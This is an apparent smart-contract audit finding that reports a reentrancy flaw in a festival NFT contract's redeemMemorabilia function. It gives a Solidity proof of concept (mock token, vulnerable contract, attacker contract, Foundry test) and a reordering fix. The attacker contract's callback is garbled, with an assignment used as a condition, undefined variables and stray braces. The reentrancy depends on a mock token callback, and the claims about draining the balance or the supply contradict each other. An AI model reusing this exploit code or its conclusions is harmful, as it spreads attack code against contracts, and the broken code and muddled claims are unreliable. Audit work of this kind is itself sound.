[H-2] The reentrancy attack point in the FestivalPass::redeemMomrabilia
function allows to drain contract balance
Description
The FestivalPass::redeemMemorabilia
function does not follow CEI/FREI-PI and as a result, enables malicious participants to drain the contract balance. The code
function redeemMemorabilia(uint256 collectionId) external {
MemorabiliaCollection storage collection = collections[collectionId];
require(collection.priceInBeat > 0, "Collection does not exist");
require(collection.isActive, "Collection not active");
require(collection.currentItemId < collection.maxSupply, "Collection sold out");
@> BeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
@>
@> uint256 itemId = collection.currentItemId++;
@> uint256 tokenId = encodeTokenId(collectionId, itemId);
@> tokenIdToEdition[tokenId] = itemId;
_mint(msg.sender, tokenId, 1, "");
emit MemorabiliaRedeemed(msg.sender, tokenId, collectionId, itemId);
}
Risk
Likelihood:
It is possible in the case of attempting to redeem more than 1 memorabilia token per attender
Impact:
Reentrancy vulnerability code in FestivalPass::redeemMemorabilia
allows to potentially malicious users to attempt to exploit this funciton and drain the entire memorabilia's supply.
Proof of Concept
Let's assume the next scenario:
Attacker sets up a contract with a vulnerability.
Users enters the fesival.
Attacker take part in the festival
Attacker calls FestivalPass::redeemMemorabilia
from their contract repeadetly, draining the contract balance.
Proof of Code
Let`s assume we have a mocking BeatToken contract which can mimicking the original contract
contract MockBeatToken {
mapping(address => uint256) public balances;
address public festivalContract;
function setFestivalContract(address _festival) external {
festivalContract = _festival;
}
function mint(address to, uint256 amount) external {
balances[to] += amount;
}
function burnFrom(address from, uint256 amount) external {
require(msg.sender == festivalContract, "Only_Festival_Burn");
require(balances[from] >= amount, "Insufficient balance");
balances[from] -= amount;
if (from.code.length > 0) {
(bool success,) = from.call(abi.encodeWithSignature("tokenBurned(uint256)", amount));
}
}
function balanceOf(address account) external view returns (uint256) {
return balances[account];
}
}
Next we have a simplified Festival contract with a similar vulnerability
contract VulnerableFestival {
struct MemorabiliaCollection {
string name;
string baseUri;
uint256 priceInBeat;
uint256 maxSupply;
uint256 currentItemId;
bool isActive;
}
mapping(uint256 => MemorabiliaCollection) public collections;
mapping(uint256 => uint256) public tokenIdToEdition;
mapping(address => mapping(uint256 => uint256)) public balanceOf;
address public beatToken;
uint256 public nextCollectionId = 1;
event MemorabiliaRedeemed(address indexed collector, uint256 indexed tokenId, uint256 collectionId, uint256 itemId);
constructor(address _beatToken) {
beatToken = _beatToken;
}
function createMemorabiliaCollection(
string memory name,
string memory baseUri,
uint256 priceInBeat,
uint256 maxSupply,
bool activateNow
) external returns (uint256) {
uint256 collectionId = nextCollectionId++;
collections[collectionId] = MemorabiliaCollection({
name: name,
baseUri: baseUri,
priceInBeat: priceInBeat,
maxSupply: maxSupply,
currentItemId: 1,
isActive: activateNow
});
return collectionId;
}
function redeemMemorabilia(uint256 collectionId) external {
MemorabiliaCollection storage collection = collections[collectionId];
require(collection.priceInBeat > 0, "Collection does not exist");
require(collection.isActive, "Collection not active");
require(collection.currentItemId <= collection.maxSupply, "Collection sold out");
MockBeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
uint256 itemId = collection.currentItemId++;
uint256 tokenId = encodeTokenId(collectionId, itemId);
tokenIdToEdition[tokenId] = itemId;
balanceOf[msg.sender][tokenId] = 1;
emit MemorabiliaRedeemed(msg.sender, tokenId, collectionId, itemId);
}
function encodeTokenId(uint256 collectionId, uint256 itemId) public pure returns (uint256) {
return (collectionId << 128) + itemId;
}
function getCollectionInfo(uint256 collectionId) external view returns (
uint256 currentItemId,
uint256 maxSupply,
uint256 priceInBeat,
bool isActive
) {
MemorabiliaCollection storage collection = collections[collectionId];
return (collection.currentItemId, collection.maxSupply, collection.priceInBeat, collection.isActive);
}
}
We have contract which can simulate the attacker exploits this vulnerability. It has tokenBurned
function is called when FestivalPass::burnFrom
is executed
contract ReentrancyAttacker {
VulnerableFestival public festival;
MockBeatToken public beatToken;
uint256 public targetCollectionId;
uint256 public attackCount;
uint256 public maxAttacks = 5;
constructor(address _festival, address _beatToken) {
festival = VulnerableFestival(_festival);
beatToken = MockBeatToken(_beatToken);
}
function setTarget(uint256 _collectionId) external {
targetCollectionId = _collectionId;
}
function attack() external {
attackCount = 0;
festival.redeemMemorabilia(targetCollectionId);
}
function tokenBurned(uint256 amount) external {
console.log("tokenBurned callback triggered, attack count:", attackCount);
if (attackCount = priceInBeat) {
console.log("Reentering redeemMemorabilia...");
festival.redeemMemorabilia(targetCollectionId);
}
}
}
function getTokenBalance(uint256 tokenId) external view returns (uint256) {
return festival.balanceOf(address(this), tokenId);
}
}
We have Test Contract to check out for the reentrancy cases
contract ReentrancyTest is Test {
MockBeatToken beatToken;
VulnerableFestival festival;
ReentrancyAttacker attacker;
function setUp() public {
beatToken = new MockBeatToken();
festival = new VulnerableFestival(address(beatToken));
beatToken.setFestivalContract(address(festival));
attacker = new ReentrancyAttacker(address(festival), address(beatToken));
}
function testReentrancyAttack() public {
console.log("=== Starting Reentrancy Attack Test ===");
uint256 collectionId = festival.createMemorabiliaCollection(
"Limited Edition",
"ipfs://test",
100,
5,
true
);
console.log("Created collection with ID:", collectionId);
beatToken.mint(address(attacker), 1000);
console.log("Attacker BEAT balance:", beatToken.balanceOf(address(attacker)));
attacker.setTarget(collectionId);
(uint256 initialCurrentItemId, uint256 maxSupply, uint256 priceInBeat, bool isActive) = festival.getCollectionInfo(collectionId);
console.log("Initial collection state:");
console.log(" Current Item ID:", initialCurrentItemId);
console.log(" Max Supply:", maxSupply);
console.log(" Price in BEAT:", priceInBeat);
console.log(" Is Active:", isActive);
console.log("\n=== Executing Attack ===");
attacker.attack();
(uint256 finalCurrentItemId,,,) = festival.getCollectionInfo(collectionId);
uint256 finalBeatBalance = beatToken.balanceOf(address(attacker));
console.log("\n=== Attack Results ===");
console.log("Final Current Item ID:", finalCurrentItemId);
console.log("Items redeemed:", finalCurrentItemId - initialCurrentItemId);
console.log("Final BEAT balance:", finalBeatBalance);
console.log("BEAT tokens spent:", 1000 - finalBeatBalance);
console.log("Expected BEAT tokens spent for legitimate redemption:", priceInBeat);
uint256 itemsRedeemed = finalCurrentItemId - initialCurrentItemId;
uint256 beatSpent = 1000 - finalBeatBalance;
console.log("\n=== Verification ===");
if (itemsRedeemed > 1 && beatSpent < itemsRedeemed * priceInBeat) {
console.log("V REENTRANCY ATTACK SUCCESSFUL!");
console.log(" - Redeemed", itemsRedeemed, "items");
console.log(" - Only paid for", beatSpent / priceInBeat, "items");
console.log(" - Saved", (itemsRedeemed * priceInBeat) - beatSpent, "BEAT tokens");
} else {
console.log("X Attack did not succeed as expected");
}
console.log("\n=== Token Ownership ===");
for (uint256 i = 1; i < finalCurrentItemId; i++) {
uint256 tokenId = festival.encodeTokenId(collectionId, i);
uint256 balance = attacker.getTokenBalance(tokenId);
console.log("Token ID"); console.log(tokenId); console.log("(item"); console.log(i); console.log("): balance =", balance);
}
assertTrue(itemsRedeemed > 1, "Should have redeemed multiple items");
console.log("Beat spent:", beatSpent);
console.log("Items redeemed: ",itemsRedeemed);
console.log("Price in beatToken: ",priceInBeat);
assertTrue(beatSpent <= itemsRedeemed * priceInBeat, "Should have paid less than full price");
}
function testNormalRedemption() public {
console.log("\n=== Testing Normal Redemption (for comparison) ===");
uint256 collectionId = festival.createMemorabiliaCollection(
"Normal Collection",
"ipfs://normal",
100,
5,
true
);
address normalUser = address(0x123);
beatToken.mint(normalUser, 200);
console.log("Normal user BEAT balance:", beatToken.balanceOf(normalUser));
vm.startPrank(normalUser);
festival.redeemMemorabilia(collectionId);
vm.stopPrank();
(uint256 currentItemId,,,) = festival.getCollectionInfo(collectionId);
uint256 finalBalance = beatToken.balanceOf(normalUser);
console.log("After normal redemption:");
console.log(" Current Item ID:", currentItemId);
console.log(" User BEAT balance:", finalBalance);
console.log(" BEAT tokens spent:", 200 - finalBalance);
assertEq(currentItemId, 2, "Should have incremented to 2");
assertEq(finalBalance, 100, "Should have spent exactly 100 BEAT");
}
}
Recommended Mitigation
To fix that issue we must to use CEI/FREI-PI: update the smartcontract's state at first. After that we can call BeatToken::burnFrom
function
function redeemMemorabilia(uint256 collectionId) external {
...
- // Burn BEAT tokens
- BeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
- // Generate unique token ID
- uint256 itemId = collection.currentItemId++;
- uint256 tokenId = encodeTokenId(collectionId, itemId);
- // Store edition number
- tokenIdToEdition[tokenId] = itemId;
+ // Generate unique token ID
+ uint256 itemId = collection.currentItemId++;
+ uint256 tokenId = encodeTokenId(collectionId, itemId);
+ // Store edition number
+ tokenIdToEdition[tokenId] = itemId;
+ // Burn BEAT tokens
+ BeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
// Mint the unique NFT
...
}
Using the OpenZeppelin's Reentrancy Guard
Develop the custom mechanism to prevent reentrancy factor